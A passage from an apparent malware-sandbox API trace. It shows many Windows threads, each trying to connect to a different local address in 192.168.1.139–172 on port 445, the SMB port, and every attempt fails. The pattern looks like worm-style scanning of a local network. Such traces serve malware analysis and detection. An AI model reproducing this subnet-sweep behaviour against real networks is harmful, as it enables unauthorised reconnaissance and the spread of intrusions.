0x8b01a8c0 [0117.848] htons (hostshort=0x1bd) returned 0xbd01 [0117.848] connect (s=0x818, name=0x505fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.139"), namelen=16) returned -1 [0138.907] closesocket (s=0x818) returned 0 [0138.907] WSACleanup () returned 0 [0138.907] GetCurrentThreadId () returned 0x340 [0138.908] GetCurrentThreadId () returned 0x340 [0138.908] GetCurrentThreadId () returned 0x340 Thread: id = 784 os_tid = 0x1090 [0117.941] GetCurrentThreadId () returned 0x1090 [0117.941] GetCurrentThreadId () returned 0x1090 [0117.941] GetCurrentThreadId () returned 0x1090 [0117.941] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x519fdf0 | out: lpWSAData=0x519fdf0) returned 0 [0117.941] socket (af=2, type=1, protocol=0) returned 0x76c [0117.941] inet_addr (cp="192.168.1.140") returned 0x8c01a8c0 [0117.941] htons (hostshort=0x1bd) returned 0xbd01 [0117.941] connect (s=0x76c, name=0x519fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.140"), namelen=16) returned -1 [0139.017] closesocket (s=0x76c) returned 0 [0139.017] WSACleanup () returned 0 [0139.017] GetCurrentThreadId () returned 0x1090 [0139.017] GetCurrentThreadId () returned 0x1090 [0139.017] GetCurrentThreadId () returned 0x1090 Thread: id = 785 os_tid = 0x1068 [0118.097] GetCurrentThreadId () returned 0x1068 [0118.097] GetCurrentThreadId () returned 0x1068 [0118.097] GetCurrentThreadId () returned 0x1068 [0118.097] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x52dfdf0 | out: lpWSAData=0x52dfdf0) returned 0 [0118.097] socket (af=2, type=1, protocol=0) returned 0x6ec [0118.098] inet_addr (cp="192.168.1.141") returned 0x8d01a8c0 [0118.098] htons (hostshort=0x1bd) returned 0xbd01 [0118.098] connect (s=0x6ec, name=0x52dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.141"), namelen=16) returned -1 [0139.219] closesocket (s=0x6ec) returned 0 [0139.220] WSACleanup () returned 0 [0139.220] GetCurrentThreadId () returned 0x1068 [0139.220] GetCurrentThreadId () returned 0x1068 [0139.220] GetCurrentThreadId () returned 0x1068 Thread: id = 787 os_tid = 0x1064 [0118.239] GetCurrentThreadId () returned 0x1064 [0118.239] GetCurrentThreadId () returned 0x1064 [0118.239] GetCurrentThreadId () returned 0x1064 [0118.239] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x541fdf0 | out: lpWSAData=0x541fdf0) returned 0 [0118.239] socket (af=2, type=1, protocol=0) returned 0x8e4 [0118.239] inet_addr (cp="192.168.1.142") returned 0x8e01a8c0 [0118.240] htons (hostshort=0x1bd) returned 0xbd01 [0118.240] connect (s=0x8e4, name=0x541fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.142"), namelen=16) returned -1 [0139.313] closesocket (s=0x8e4) returned 0 [0139.314] WSACleanup () returned 0 [0139.314] GetCurrentThreadId () returned 0x1064 [0139.314] GetCurrentThreadId () returned 0x1064 [0139.314] GetCurrentThreadId () returned 0x1064 Thread: id = 788 os_tid = 0x24c [0118.394] GetCurrentThreadId () returned 0x24c [0118.394] GetCurrentThreadId () returned 0x24c [0118.394] GetCurrentThreadId () returned 0x24c [0118.394] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x555fdf0 | out: lpWSAData=0x555fdf0) returned 0 [0118.394] socket (af=2, type=1, protocol=0) returned 0x868 [0118.394] inet_addr (cp="192.168.1.143") returned 0x8f01a8c0 [0118.394] htons (hostshort=0x1bd) returned 0xbd01 [0118.394] connect (s=0x868, name=0x555fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.143"), namelen=16) returned -1 [0139.516] closesocket (s=0x868) returned 0 [0139.516] WSACleanup () returned 0 [0139.516] GetCurrentThreadId () returned 0x24c [0139.516] GetCurrentThreadId () returned 0x24c [0139.516] GetCurrentThreadId () returned 0x24c Thread: id = 789 os_tid = 0x388 [0118.535] GetCurrentThreadId () returned 0x388 [0118.535] GetCurrentThreadId () returned 0x388 [0118.535] GetCurrentThreadId () returned 0x388 [0118.535] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x569fdf0 | out: lpWSAData=0x569fdf0) returned 0 [0118.535] socket (af=2, type=1, protocol=0) returned 0x874 [0118.535] inet_addr (cp="192.168.1.144") returned 0x9001a8c0 [0118.535] htons (hostshort=0x1bd) returned 0xbd01 [0118.535] connect (s=0x874, name=0x569fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.144"), namelen=16) returned -1 [0139.718] closesocket (s=0x874) returned 0 [0139.719] WSACleanup () returned 0 [0139.719] GetCurrentThreadId () returned 0x388 [0139.719] GetCurrentThreadId () returned 0x388 [0139.719] GetCurrentThreadId () returned 0x388 Thread: id = 790 os_tid = 0x1404 [0118.675] GetCurrentThreadId () returned 0x1404 [0118.675] GetCurrentThreadId () returned 0x1404 [0118.675] GetCurrentThreadId () returned 0x1404 [0118.675] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x57dfdf0 | out: lpWSAData=0x57dfdf0) returned 0 [0118.675] socket (af=2, type=1, protocol=0) returned 0x834 [0118.675] inet_addr (cp="192.168.1.145") returned 0x9101a8c0 [0118.675] htons (hostshort=0x1bd) returned 0xbd01 [0118.675] connect (s=0x834, name=0x57dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.145"), namelen=16) returned -1 [0139.719] closesocket (s=0x834) returned 0 [0139.719] WSACleanup () returned 0 [0139.719] GetCurrentThreadId () returned 0x1404 [0139.720] GetCurrentThreadId () returned 0x1404 [0139.720] GetCurrentThreadId () returned 0x1404 Thread: id = 791 os_tid = 0x1408 [0118.815] GetCurrentThreadId () returned 0x1408 [0118.815] GetCurrentThreadId () returned 0x1408 [0118.815] GetCurrentThreadId () returned 0x1408 [0118.815] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x591fdf0 | out: lpWSAData=0x591fdf0) returned 0 [0118.815] socket (af=2, type=1, protocol=0) returned 0x7e8 [0118.815] inet_addr (cp="192.168.1.146") returned 0x9201a8c0 [0118.815] htons (hostshort=0x1bd) returned 0xbd01 [0118.815] connect (s=0x7e8, name=0x591fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.146"), namelen=16) returned -1 [0140.016] closesocket (s=0x7e8) returned 0 [0140.016] WSACleanup () returned 0 [0140.016] GetCurrentThreadId () returned 0x1408 [0140.016] GetCurrentThreadId () returned 0x1408 [0140.016] GetCurrentThreadId () returned 0x1408 Thread: id = 793 os_tid = 0x1414 [0118.920] GetCurrentThreadId () returned 0x1414 [0118.920] GetCurrentThreadId () returned 0x1414 [0118.920] GetCurrentThreadId () returned 0x1414 [0118.920] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5a5fdf0 | out: lpWSAData=0x5a5fdf0) returned 0 [0118.920] socket (af=2, type=1, protocol=0) returned 0x8cc [0118.921] inet_addr (cp="192.168.1.147") returned 0x9301a8c0 [0118.921] htons (hostshort=0x1bd) returned 0xbd01 [0118.921] connect (s=0x8cc, name=0x5a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.147"), namelen=16) returned -1 [0140.016] closesocket (s=0x8cc) returned 0 [0140.017] WSACleanup () returned 0 [0140.017] GetCurrentThreadId () returned 0x1414 [0140.017] GetCurrentThreadId () returned 0x1414 [0140.017] GetCurrentThreadId () returned 0x1414 Thread: id = 794 os_tid = 0x1418 [0119.049] GetCurrentThreadId () returned 0x1418 [0119.049] GetCurrentThreadId () returned 0x1418 [0119.049] GetCurrentThreadId () returned 0x1418 [0119.049] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5b9fdf0 | out: lpWSAData=0x5b9fdf0) returned 0 [0119.049] socket (af=2, type=1, protocol=0) returned 0x700 [0119.050] inet_addr (cp="192.168.1.148") returned 0x9401a8c0 [0119.050] htons (hostshort=0x1bd) returned 0xbd01 [0119.050] connect (s=0x700, name=0x5b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.148"), namelen=16) returned -1 [0140.259] closesocket (s=0x700) returned 0 [0140.260] WSACleanup () returned 0 [0140.260] GetCurrentThreadId () returned 0x1418 [0140.262] GetCurrentThreadId () returned 0x1418 [0140.268] GetCurrentThreadId () returned 0x1418 Thread: id = 796 os_tid = 0x1424 [0119.251] GetCurrentThreadId () returned 0x1424 [0119.251] GetCurrentThreadId () returned 0x1424 [0119.251] GetCurrentThreadId () returned 0x1424 [0119.251] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5cdfdf0 | out: lpWSAData=0x5cdfdf0) returned 0 [0119.251] socket (af=2, type=1, protocol=0) returned 0x78c [0119.252] inet_addr (cp="192.168.1.149") returned 0x9501a8c0 [0119.252] htons (hostshort=0x1bd) returned 0xbd01 [0119.252] connect (s=0x78c, name=0x5cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.149"), namelen=16) returned -1 [0140.311] closesocket (s=0x78c) returned 0 [0140.312] WSACleanup () returned 0 [0140.312] GetCurrentThreadId () returned 0x1424 [0140.312] GetCurrentThreadId () returned 0x1424 [0140.312] GetCurrentThreadId () returned 0x1424 Thread: id = 797 os_tid = 0x1428 [0119.439] GetCurrentThreadId () returned 0x1428 [0119.439] GetCurrentThreadId () returned 0x1428 [0119.439] GetCurrentThreadId () returned 0x1428 [0119.439] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5e1fdf0 | out: lpWSAData=0x5e1fdf0) returned 0 [0119.439] socket (af=2, type=1, protocol=0) returned 0x9e8 [0119.439] inet_addr (cp="192.168.1.150") returned 0x9601a8c0 [0119.439] htons (hostshort=0x1bd) returned 0xbd01 [0119.439] connect (s=0x9e8, name=0x5e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.150"), namelen=16) returned -1 [0140.514] closesocket (s=0x9e8) returned 0 [0140.514] WSACleanup () returned 0 [0140.514] GetCurrentThreadId () returned 0x1428 [0140.514] GetCurrentThreadId () returned 0x1428 [0140.514] GetCurrentThreadId () returned 0x1428 Thread: id = 798 os_tid = 0x142c [0119.610] GetCurrentThreadId () returned 0x142c [0119.611] GetCurrentThreadId () returned 0x142c [0119.611] GetCurrentThreadId () returned 0x142c [0119.611] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5f5fdf0 | out: lpWSAData=0x5f5fdf0) returned 0 [0119.611] socket (af=2, type=1, protocol=0) returned 0x9f4 [0119.611] inet_addr (cp="192.168.1.151") returned 0x9701a8c0 [0119.611] htons (hostshort=0x1bd) returned 0xbd01 [0119.611] connect (s=0x9f4, name=0x5f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.151"), namelen=16) returned -1 [0140.717] closesocket (s=0x9f4) returned 0 [0140.717] WSACleanup () returned 0 [0140.717] GetCurrentThreadId () returned 0x142c [0140.717] GetCurrentThreadId () returned 0x142c [0140.718] GetCurrentThreadId () returned 0x142c Thread: id = 799 os_tid = 0x1430 [0119.751] GetCurrentThreadId () returned 0x1430 [0119.751] GetCurrentThreadId () returned 0x1430 [0119.751] GetCurrentThreadId () returned 0x1430 [0119.751] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x609fdf0 | out: lpWSAData=0x609fdf0) returned 0 [0119.751] socket (af=2, type=1, protocol=0) returned 0x968 [0119.751] inet_addr (cp="192.168.1.152") returned 0x9801a8c0 [0119.751] htons (hostshort=0x1bd) returned 0xbd01 [0119.751] connect (s=0x968, name=0x609fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.152"), namelen=16) returned -1 [0140.920] closesocket (s=0x968) returned 0 [0140.920] WSACleanup () returned 0 [0140.920] GetCurrentThreadId () returned 0x1430 [0140.920] GetCurrentThreadId () returned 0x1430 [0140.920] GetCurrentThreadId () returned 0x1430 Thread: id = 801 os_tid = 0x143c [0119.969] GetCurrentThreadId () returned 0x143c [0119.969] GetCurrentThreadId () returned 0x143c [0119.969] GetCurrentThreadId () returned 0x143c [0119.969] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x61dfdf0 | out: lpWSAData=0x61dfdf0) returned 0 [0119.969] socket (af=2, type=1, protocol=0) returned 0xa90 [0119.970] inet_addr (cp="192.168.1.153") returned 0x9901a8c0 [0119.970] htons (hostshort=0x1bd) returned 0xbd01 [0119.970] connect (s=0xa90, name=0x61dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.153"), namelen=16) returned -1 [0141.014] closesocket (s=0xa90) returned 0 [0141.014] WSACleanup () returned 0 [0141.014] GetCurrentThreadId () returned 0x143c [0141.014] GetCurrentThreadId () returned 0x143c [0141.014] GetCurrentThreadId () returned 0x143c Thread: id = 802 os_tid = 0x1440 [0120.110] GetCurrentThreadId () returned 0x1440 [0120.110] GetCurrentThreadId () returned 0x1440 [0120.110] GetCurrentThreadId () returned 0x1440 [0120.110] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x631fdf0 | out: lpWSAData=0x631fdf0) returned 0 [0120.110] socket (af=2, type=1, protocol=0) returned 0xa50 [0120.110] inet_addr (cp="192.168.1.154") returned 0x9a01a8c0 [0120.110] htons (hostshort=0x1bd) returned 0xbd01 [0120.110] connect (s=0xa50, name=0x631fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.154"), namelen=16) returned -1 [0141.216] closesocket (s=0xa50) returned 0 [0141.217] WSACleanup () returned 0 [0141.217] GetCurrentThreadId () returned 0x1440 [0141.217] GetCurrentThreadId () returned 0x1440 [0141.217] GetCurrentThreadId () returned 0x1440 Thread: id = 803 os_tid = 0x1444 [0120.305] GetCurrentThreadId () returned 0x1444 [0120.305] GetCurrentThreadId () returned 0x1444 [0120.305] GetCurrentThreadId () returned 0x1444 [0120.305] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x645fdf0 | out: lpWSAData=0x645fdf0) returned 0 [0120.305] socket (af=2, type=1, protocol=0) returned 0xb50 [0120.306] inet_addr (cp="192.168.1.155") returned 0x9b01a8c0 [0120.306] htons (hostshort=0x1bd) returned 0xbd01 [0120.306] connect (s=0xb50, name=0x645fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.155"), namelen=16) returned -1 [0141.419] closesocket (s=0xb50) returned 0 [0141.419] WSACleanup () returned 0 [0141.419] GetCurrentThreadId () returned 0x1444 [0141.419] GetCurrentThreadId () returned 0x1444 [0141.419] GetCurrentThreadId () returned 0x1444 Thread: id = 804 os_tid = 0x1450 [0120.499] GetCurrentThreadId () returned 0x1450 [0120.499] GetCurrentThreadId () returned 0x1450 [0120.499] GetCurrentThreadId () returned 0x1450 [0120.499] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x659fdf0 | out: lpWSAData=0x659fdf0) returned 0 [0120.499] socket (af=2, type=1, protocol=0) returned 0xaac [0120.500] inet_addr (cp="192.168.1.156") returned 0x9c01a8c0 [0120.500] htons (hostshort=0x1bd) returned 0xbd01 [0120.500] connect (s=0xaac, name=0x659fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.156"), namelen=16) returned -1 [0141.513] closesocket (s=0xaac) returned 0 [0141.513] WSACleanup () returned 0 [0141.513] GetCurrentThreadId () returned 0x1450 [0141.513] GetCurrentThreadId () returned 0x1450 [0141.513] GetCurrentThreadId () returned 0x1450 Thread: id = 805 os_tid = 0x1454 [0120.593] GetCurrentThreadId () returned 0x1454 [0120.593] GetCurrentThreadId () returned 0x1454 [0120.593] GetCurrentThreadId () returned 0x1454 [0120.593] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x66dfdf0 | out: lpWSAData=0x66dfdf0) returned 0 [0120.593] socket (af=2, type=1, protocol=0) returned 0x6a0 [0120.593] inet_addr (cp="192.168.1.157") returned 0x9d01a8c0 [0120.593] htons (hostshort=0x1bd) returned 0xbd01 [0120.593] connect (s=0x6a0, name=0x66dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.157"), namelen=16) returned -1 [0141.715] closesocket (s=0x6a0) returned 0 [0141.716] WSACleanup () returned 0 [0141.716] GetCurrentThreadId () returned 0x1454 [0141.716] GetCurrentThreadId () returned 0x1454 [0141.716] GetCurrentThreadId () returned 0x1454 Thread: id = 806 os_tid = 0x1458 [0120.736] GetCurrentThreadId () returned 0x1458 [0120.736] GetCurrentThreadId () returned 0x1458 [0120.736] GetCurrentThreadId () returned 0x1458 [0120.736] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x681fdf0 | out: lpWSAData=0x681fdf0) returned 0 [0120.736] socket (af=2, type=1, protocol=0) returned 0xad0 [0120.737] inet_addr (cp="192.168.1.158") returned 0x9e01a8c0 [0120.737] htons (hostshort=0x1bd) returned 0xbd01 [0120.737] connect (s=0xad0, name=0x681fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.158"), namelen=16) returned -1 [0141.919] closesocket (s=0xad0) returned 0 [0141.919] WSACleanup () returned 0 [0141.919] GetCurrentThreadId () returned 0x1458 [0141.919] GetCurrentThreadId () returned 0x1458 [0141.919] GetCurrentThreadId () returned 0x1458 Thread: id = 807 os_tid = 0x145c [0120.858] GetCurrentThreadId () returned 0x145c [0120.858] GetCurrentThreadId () returned 0x145c [0120.858] GetCurrentThreadId () returned 0x145c [0120.858] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x695fdf0 | out: lpWSAData=0x695fdf0) returned 0 [0120.858] socket (af=2, type=1, protocol=0) returned 0xaf8 [0120.859] inet_addr (cp="192.168.1.159") returned 0x9f01a8c0 [0120.859] htons (hostshort=0x1bd) returned 0xbd01 [0120.859] connect (s=0xaf8, name=0x695fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.159"), namelen=16) returned -1 [0141.920] closesocket (s=0xaf8) returned 0 [0141.920] WSACleanup () returned 0 [0141.920] GetCurrentThreadId () returned 0x145c [0141.920] GetCurrentThreadId () returned 0x145c [0141.920] GetCurrentThreadId () returned 0x145c Thread: id = 808 os_tid = 0x1460 [0120.956] GetCurrentThreadId () returned 0x1460 [0120.956] GetCurrentThreadId () returned 0x1460 [0120.956] GetCurrentThreadId () returned 0x1460 [0120.956] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6a9fdf0 | out: lpWSAData=0x6a9fdf0) returned 0 [0120.956] socket (af=2, type=1, protocol=0) returned 0xc48 [0120.956] inet_addr (cp="192.168.1.160") returned 0xa001a8c0 [0120.956] htons (hostshort=0x1bd) returned 0xbd01 [0120.956] connect (s=0xc48, name=0x6a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.160"), namelen=16) returned -1 [0142.012] closesocket (s=0xc48) returned 0 [0142.012] WSACleanup () returned 0 [0142.012] GetCurrentThreadId () returned 0x1460 [0142.012] GetCurrentThreadId () returned 0x1460 [0142.012] GetCurrentThreadId () returned 0x1460 Thread: id = 809 os_tid = 0x1464 [0121.037] GetCurrentThreadId () returned 0x1464 [0121.037] GetCurrentThreadId () returned 0x1464 [0121.037] GetCurrentThreadId () returned 0x1464 [0121.037] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6bdfdf0 | out: lpWSAData=0x6bdfdf0) returned 0 [0121.037] socket (af=2, type=1, protocol=0) returned 0xc28 [0121.037] inet_addr (cp="192.168.1.161") returned 0xa101a8c0 [0121.037] htons (hostshort=0x1bd) returned 0xbd01 [0121.037] connect (s=0xc28, name=0x6bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.161"), namelen=16) returned -1 [0142.215] closesocket (s=0xc28) returned 0 [0142.215] WSACleanup () returned 0 [0142.215] GetCurrentThreadId () returned 0x1464 [0142.215] GetCurrentThreadId () returned 0x1464 [0142.215] GetCurrentThreadId () returned 0x1464 Thread: id = 810 os_tid = 0x1468 [0121.180] GetCurrentThreadId () returned 0x1468 [0121.180] GetCurrentThreadId () returned 0x1468 [0121.180] GetCurrentThreadId () returned 0x1468 [0121.180] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6d1fdf0 | out: lpWSAData=0x6d1fdf0) returned 0 [0121.180] socket (af=2, type=1, protocol=0) returned 0xc38 [0121.180] inet_addr (cp="192.168.1.162") returned 0xa201a8c0 [0121.180] htons (hostshort=0x1bd) returned 0xbd01 [0121.180] connect (s=0xc38, name=0x6d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.162"), namelen=16) returned -1 [0142.216] closesocket (s=0xc38) returned 0 [0142.216] WSACleanup () returned 0 [0142.216] GetCurrentThreadId () returned 0x1468 [0142.216] GetCurrentThreadId () returned 0x1468 [0142.216] GetCurrentThreadId () returned 0x1468 Thread: id = 811 os_tid = 0x146c [0121.234] GetCurrentThreadId () returned 0x146c [0121.234] GetCurrentThreadId () returned 0x146c [0121.234] GetCurrentThreadId () returned 0x146c [0121.234] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6e5fdf0 | out: lpWSAData=0x6e5fdf0) returned 0 [0121.234] socket (af=2, type=1, protocol=0) returned 0xba4 [0121.234] inet_addr (cp="192.168.1.163") returned 0xa301a8c0 [0121.234] htons (hostshort=0x1bd) returned 0xbd01 [0121.234] connect (s=0xba4, name=0x6e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.163"), namelen=16) returned -1 [0142.417] closesocket (s=0xba4) returned 0 [0142.417] WSACleanup () returned 0 [0142.417] GetCurrentThreadId () returned 0x146c [0142.418] GetCurrentThreadId () returned 0x146c [0142.418] GetCurrentThreadId () returned 0x146c Thread: id = 812 os_tid = 0x1470 [0121.328] GetCurrentThreadId () returned 0x1470 [0121.328] GetCurrentThreadId () returned 0x1470 [0121.328] GetCurrentThreadId () returned 0x1470 [0121.328] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6f9fdf0 | out: lpWSAData=0x6f9fdf0) returned 0 [0121.328] socket (af=2, type=1, protocol=0) returned 0xbc4 [0121.329] inet_addr (cp="192.168.1.164") returned 0xa401a8c0 [0121.329] htons (hostshort=0x1bd) returned 0xbd01 [0121.329] connect (s=0xbc4, name=0x6f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.164"), namelen=16) returned -1 [0142.418] closesocket (s=0xbc4) returned 0 [0142.418] WSACleanup () returned 0 [0142.418] GetCurrentThreadId () returned 0x1470 [0142.418] GetCurrentThreadId () returned 0x1470 [0142.418] GetCurrentThreadId () returned 0x1470 Thread: id = 813 os_tid = 0x1474 [0121.489] GetCurrentThreadId () returned 0x1474 [0121.489] GetCurrentThreadId () returned 0x1474 [0121.489] GetCurrentThreadId () returned 0x1474 [0121.489] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x70dfdf0 | out: lpWSAData=0x70dfdf0) returned 0 [0121.489] socket (af=2, type=1, protocol=0) returned 0xbd4 [0121.489] inet_addr (cp="192.168.1.165") returned 0xa501a8c0 [0121.492] htons (hostshort=0x1bd) returned 0xbd01 [0121.492] connect (s=0xbd4, name=0x70dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.165"), namelen=16) returned -1 [0142.604] closesocket (s=0xbd4) returned 0 [0142.605] WSACleanup () returned 0 [0142.605] GetCurrentThreadId () returned 0x1474 [0142.605] GetCurrentThreadId () returned 0x1474 [0142.605] GetCurrentThreadId () returned 0x1474 Thread: id = 814 os_tid = 0x1478 [0121.593] GetCurrentThreadId () returned 0x1478 [0121.593] GetCurrentThreadId () returned 0x1478 [0121.593] GetCurrentThreadId () returned 0x1478 [0121.593] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2eefdf0 | out: lpWSAData=0x2eefdf0) returned 0 [0121.594] socket (af=2, type=1, protocol=0) returned 0xcbc [0121.594] inet_addr (cp="192.168.1.166") returned 0xa601a8c0 [0121.594] htons (hostshort=0x1bd) returned 0xbd01 [0121.594] connect (s=0xcbc, name=0x2eefde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.166"), namelen=16) returned -1 [0142.605] closesocket (s=0xcbc) returned 0 [0142.605] WSACleanup () returned 0 [0142.605] GetCurrentThreadId () returned 0x1478 [0142.605] GetCurrentThreadId () returned 0x1478 [0142.605] GetCurrentThreadId () returned 0x1478 Thread: id = 815 os_tid = 0x147c [0121.686] GetCurrentThreadId () returned 0x147c [0121.686] GetCurrentThreadId () returned 0x147c [0121.686] GetCurrentThreadId () returned 0x147c [0121.686] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x721fdf0 | out: lpWSAData=0x721fdf0) returned 0 [0121.686] socket (af=2, type=1, protocol=0) returned 0xca4 [0121.686] inet_addr (cp="192.168.1.167") returned 0xa701a8c0 [0121.686] htons (hostshort=0x1bd) returned 0xbd01 [0121.686] connect (s=0xca4, name=0x721fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.167"), namelen=16) returned -1 [0142.714] closesocket (s=0xca4) returned 0 [0142.714] WSACleanup () returned 0 [0142.714] GetCurrentThreadId () returned 0x147c [0142.714] GetCurrentThreadId () returned 0x147c [0142.714] GetCurrentThreadId () returned 0x147c Thread: id = 816 os_tid = 0x1480 [0121.781] GetCurrentThreadId () returned 0x1480 [0121.781] GetCurrentThreadId () returned 0x1480 [0121.781] GetCurrentThreadId () returned 0x1480 [0121.781] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x735fdf0 | out: lpWSAData=0x735fdf0) returned 0 [0121.781] socket (af=2, type=1, protocol=0) returned 0xca8 [0121.781] inet_addr (cp="192.168.1.168") returned 0xa801a8c0 [0121.781] htons (hostshort=0x1bd) returned 0xbd01 [0121.781] connect (s=0xca8, name=0x735fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.168"), namelen=16) returned -1 [0142.917] closesocket (s=0xca8) returned 0 [0142.917] WSACleanup () returned 0 [0142.917] GetCurrentThreadId () returned 0x1480 [0142.917] GetCurrentThreadId () returned 0x1480 [0142.917] GetCurrentThreadId () returned 0x1480 Thread: id = 817 os_tid = 0x1484 [0121.950] GetCurrentThreadId () returned 0x1484 [0121.950] GetCurrentThreadId () returned 0x1484 [0121.950] GetCurrentThreadId () returned 0x1484 [0121.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x749fdf0 | out: lpWSAData=0x749fdf0) returned 0 [0121.950] socket (af=2, type=1, protocol=0) returned 0xc7c [0121.951] inet_addr (cp="192.168.1.169") returned 0xa901a8c0 [0121.951] htons (hostshort=0x1bd) returned 0xbd01 [0121.951] connect (s=0xc7c, name=0x749fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.169"), namelen=16) returned -1 [0143.712] closesocket (s=0xc7c) returned 0 [0143.713] WSACleanup () returned 0 [0143.713] GetCurrentThreadId () returned 0x1484 [0143.713] GetCurrentThreadId () returned 0x1484 [0143.713] GetCurrentThreadId () returned 0x1484 Thread: id = 818 os_tid = 0x1488 [0122.091] GetCurrentThreadId () returned 0x1488 [0122.091] GetCurrentThreadId () returned 0x1488 [0122.091] GetCurrentThreadId () returned 0x1488 [0122.091] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x75dfdf0 | out: lpWSAData=0x75dfdf0) returned 0 [0122.091] socket (af=2, type=1, protocol=0) returned 0xb68 [0122.092] inet_addr (cp="192.168.1.170") returned 0xaa01a8c0 [0122.092] htons (hostshort=0x1bd) returned 0xbd01 [0122.092] connect (s=0xb68, name=0x75dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.170"), namelen=16) returned -1 [0143.713] closesocket (s=0xb68) returned 0 [0143.713] WSACleanup () returned 0 [0143.714] GetCurrentThreadId () returned 0x1488 [0143.714] GetCurrentThreadId () returned 0x1488 [0143.714] GetCurrentThreadId () returned 0x1488 Thread: id = 820 os_tid = 0x1490 [0122.182] GetCurrentThreadId () returned 0x1490 [0122.182] GetCurrentThreadId () returned 0x1490 [0122.182] GetCurrentThreadId () returned 0x1490 [0122.182] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x771fdf0 | out: lpWSAData=0x771fdf0) returned 0 [0122.182] socket (af=2, type=1, protocol=0) returned 0xb08 [0122.182] inet_addr (cp="192.168.1.171") returned 0xab01a8c0 [0122.182] htons (hostshort=0x1bd) returned 0xbd01 [0122.182] connect (s=0xb08, name=0x771fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.171"), namelen=16) returned -1 [0143.714] closesocket (s=0xb08) returned 0 [0143.714] WSACleanup () returned 0 [0143.714] GetCurrentThreadId () returned 0x1490 [0143.714] GetCurrentThreadId () returned 0x1490 [0143.714] GetCurrentThreadId () returned 0x1490 Thread: id = 821 os_tid = 0x1494 [0122.279] GetCurrentThreadId () returned 0x1494 [0122.279] GetCurrentThreadId () returned 0x1494 [0122.279] GetCurrentThreadId () returned 0x1494 [0122.279] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x785fdf0 | out: lpWSAData=0x785fdf0) returned 0 [0122.279] socket (af=2, type=1, protocol=0) returned 0xe14 [0122.279] inet_addr (cp="192.168.1.172") returned 0xac01a8c0 [0122.279] htons (hostshort=0x1bd) returned 0xbd01 [0122.279] connect (s=0xe14, name=0x785fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.172"), namelen=16) returned -1 [0143.715] closesocket (s=0xe14) returned 0 [0143.715] WSACleanup () returned 0 [0143.715] GetCurrentThreadId () returned 0x1494 [0143.715] GetCurrentThreadId () returned 0x1494 [0143.715] GetCurrentThreadId () returned 0x1494 Thread: id = 823 os_tid = 0x149c [0122.371] GetCurrentThreadId () returned 0x149c [0122.371] GetCurrentThreadId () returned 0x149c [0122.371] GetCurrentThreadId () returned 0x149c [0122.371] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x799fdf0 | out: lpWSAData=0x799fdf0) returned 0 [0122.372] socket (af=2, 